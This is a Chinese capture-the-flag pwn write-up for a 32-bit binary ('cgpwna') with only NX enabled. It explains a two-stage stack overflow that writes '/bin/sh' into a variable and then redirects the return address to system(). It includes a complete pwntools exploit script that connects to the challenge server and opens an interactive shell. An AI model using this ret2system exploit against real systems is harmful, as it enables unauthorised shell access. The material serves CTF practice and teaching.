地址

https://cgctf.nuptsast.com/challenges#Pwn

先观察一下,是一个32位的程序,而且只开了NX保护

 用IDA看看伪代码,重点在message和pwnme这两个函数,一个存在溢出,一个可以调用system函数

 我们先看看第一个fgets函数,A的大小是40个字符,明显存在了栈溢出,当A超过40个字符可以覆盖掉n的值,让n覆盖成‘/bin/sh‘,刚好弥补了程序中没有直接调用的shell

 思路明确,让A溢出,把n的值覆盖成‘/bin/sh’,然后第二次输出的时候,再次溢出,返回地址覆盖成system的入口地址,再让system的参数变成’/bin/sh‘(n的地址)

payload2的p32(0xaaaa)是函数的返回地址,随便填

构造exp如下

from pwn import *
r=remote('182.254.217.142',10001)
e=ELF('./cgpwna')
sys_addr=e.symbols["system"]
#sys_addr=0x80483f0

r.recvuntil("your choice:")
r.sendline("1")
r.recvuntil("you can leave some message here:")

payload1='a'*40+'/bin/sh'
r.sendline(payload1)


payload2='a'*0x34+p32(sys_addr)+p32(0xaaaa)+p32(0x804a0a8)
r.recvuntil("your name please:")
r.sendline(payload2)

r.interactive()                   

执行结果


               

02-12 19:28